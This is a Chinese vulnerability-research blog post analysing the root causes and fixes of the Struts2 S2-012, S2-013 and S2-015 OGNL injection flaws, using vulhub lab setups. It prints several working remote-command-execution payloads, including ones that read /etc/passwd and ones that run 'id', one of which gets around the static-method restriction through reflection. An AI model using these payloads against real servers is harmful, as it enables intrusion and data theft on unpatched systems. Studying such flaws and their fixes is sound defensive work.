<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-012
影响版本:Struts 2.0.0 - Struts 2.3.14.2
从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname
,当触发了redirect
类型的返回时,如果重定向的url
后面带有?uname=${uname}
,则在这个过程中会对uname
参数的值进行OGNL表达式计算。
下面用vulhub/struts2/s2-012
中的应用进行调试分析。
该应用中定义了UserAction
,并配置了redirect
类型的返回,重定向的地址url
为:/index.jsp?name=${name}
,如下图:
从漏洞公告中可获悉,漏洞是发生在返回阶段。根据Struts2/XWork
的运行主线的可知,ActionInvocation
在调度完Action对象后,便会去调度Result
对象,如下图:
关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》
所以,我们可以在Struts2的核心调度对象DefaultActionInvocation
中开始调度Result
处下断点,如下图:
继续调试,在StrutsResultSupport#conditionalParse()
方法中,出现了一个熟悉的身影:TextParseUtil#translateVariables()
,没错,这个方法在S2-001的漏洞触发执行栈中出现过。
可是S2-001漏洞不是早就被修复了吗,为什么还能通过TextParseUtil#translateVariables()
去触发漏洞?
经调试发现,这里与S2-001还是稍有不同,这里调用的是TextParseUtil
的一个重载方法,其中,第一个参数是一个char
数组。而且如下图可以看到这里传入了包含两个元素的char
数组,这就是S2-012为什么可以用S2-001的PoC直接打的关键,继续往下看。
可以看到,这里的while(true)
循环被放置到一个for
循环里了,且for
循环的次数由char数组openChars
的长度决定,而这里传入的openChars
的长度为2
,两个元素分别为$
和%
字符。所以下面的while(true)
循环会循环两次,第一次是解析${name}
,解析得到结果后,继续对结果%{xxx}
进行解析。因此使得S2-001漏洞重现了。(是不是感觉挺有意思的)
综上,这里可以直接用S2-001的PoC执行任意命令:
%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}
如果要使用Runtime#exec()
方法来执行命令也可以,不过要添加#_memberAccess.allowStaticMethodAccess=true
。前面使用ProcessBuilder#start()
,由于不需要调用静态方法,所以无需先将SecurityMemberAccess的allowStaticMethodAccess
改为true
。
%{#_memberAccess.allowStaticMethodAccess=true,
#a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}
通过比对代码,发现在2.3.14.3
版本的OgnlTextParser.java#evaluate()
方法里,将位置索引值pos
的初始化移到了for
循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0
,从而避免了二次计算OGNL表达式。
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-013
影响版本:Struts 2.0.0 - Struts 2.3.14.1
从漏洞公告中可获悉漏洞出现在
和
标签中的includeParams
属性。
includeParams
属性接收三个值:
none
:表示url
中不包含参数(默认就是none
)。get
:表示url
中只包含GET
参数。all
:表示url
中既包括GET
参数也包括POST
参数。当
和
标签指定了includeParams
属性为get
或all
时,Struts2在处理url
的参数时会进行两次OGNL表达式计算,从而导致注入的Java代码执行。
其实这个漏洞和S2-001是类似的,只是这次漏洞时出现在
和
标签的处理过程中而已。
下面使用Struts 2.3.14.1
自带的示例程序struts-blank
来调试分析。运行应用之前得修改一下首页index.jsp
,在
和
标签中添加includeParams="all"
,如下图:
跟之前S2-001一样,找到
对应的类URLTag
,在doEndTag()
方法中下断点进行调试。
在关键的地方,即执行OGNL表达式计算的类和方法,比如OgnlValueStack#findValue()
下断点,一路跟下去,发现在处理url
参数的过程中,DefaultUrlHelper#buildParameterSubstring()
会调用TextParseUtil#translateVariables()
,如下图:
后面的漏洞触发流程就跟S2-012一样了。所以这个漏洞其实没什么值得说道的地方,因为跟之前出现的漏洞类似。
/xxx.action?fakeParam=
%{#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#[email protected]@getRuntime().exec('id').getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#res=new char[20000],
#br.read(#res),
#[email protected]@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()}
在Struts2的2.3.14.2
版本中,DefaultUrlHelper#buildParameterSubstring()
没有再调用TextParseUtil.translateVariables()
对参数进行处理了。如下图:
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-015
影响版本:Struts 2.0.0 - Struts 2.3.14.2
S2-015实际上包括两处漏洞:
下面使用vulhub/s2-015对该漏洞进行进行调试分析。
在struts.xml
配置文件中定义了通配符*
访问规则,如下图:
假设请求的url
中action名为xxxx
,不匹配param
,而是匹配通配符*
,最终返回/xxxx.jsp
页面,如果xxxx.jsp
页面存在,则返回页面内容,如果不存在,则返回404
报错页面,报错信息中包含有/S2-015/xxxx.jsp
。
而如果请求的action名是一个OGNL表达式,则会进行计算。最简单的PoC,传入一个${2+3}.action
,会发现被进行OGNL表达式计算,然后结果回显在404
报错页面中,如下图:
从现象来看,OGNL表达式的计算也是在调度Result
对象时发生的。因此,与S2-012一样,调试时可在DefaultActionInvocation
开始调度Result
对象时下断点,以及在OGNL表达式计算的关键方法比如OgnlValueStack#findValue()
处下断点。
调试过后发现,这个漏洞触发的方法调用栈,跟S2-012是几乎一样的(不同版本代码略有差异)。它会把
标签指定的页面地址作为参数,传入TextParseUtil.translateVariables()
进行处理,最终会进入一个OGNL执行器ParsedValueEvaluator
里进行OGNL表达式计算。
在Struts2 2.3.14.2
版本的SecurityMemberAccess
类中,删除了setAllowStaticMethodAccess()
,所以我们在构造PoC的时候就不能通过#_memberAccess['allowStaticMethodAccess']=true
的方式去获取调用静态方法的能力,但可以通过反射的方式去修改该属性。另外,还可以像前面S2-001里用过的,使用ProcessBuilder#start()
方法来执行系统命令,因为这种方式不需要调用静态方法。
这里使用反射修改allowStaticMethodAccess
属性的方式,如下:
/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%[email protected]@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action
这里换一种方式来处理命令执行的结果:使用项目依赖包commons-io
里的IOUtils#toString()
方法。使用这个方法的好处是,它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。
%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.action
有ParamAction
定义如下图,在该action中定义了message
属性以及set/get
方法。在struts.xml
中还定义了success
返回时的方式,使用了${message}
去引用message
属性的值。
其实这个漏洞本质上与S2-012是一样的,也是在定义Result
的行为时,引用了Action的属性值,而Struts2在调度Result
对象的过程中,会对Action的属性引用值进行二次OGNL表达式计算,从而导致可RCE。
因为是result
的类型是httpheader
,所以实际调度的Result
对象其实是HttpHeaderResult
对象。
然后在HttpHeaderResult#execute()
方法中,会将参数fxxk
的值${message}
传入TextParseUtil#translateVariables()
进行OGNL表达式求值,后面的方法调用栈就和S2-012一样了,就不再详细说了:第一次先计算${message}
,得到我们传入的OGNL表达式%{xxxyyyzzz...}
。第二次则计算%{xxxyyyzzz...}
并得到结果,并在响应头fxxk
中显示。
通过正则表达式对action名进行了校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
通过比对代码,发现在2.3.14.3
版本的OgnlTextParser.java#evaluate()
方法里,将位置索引值pos
的初始化移到了for
循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos
的值会更新,而不会重新置0
,从而避免了二次计算OGNL表达式。
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf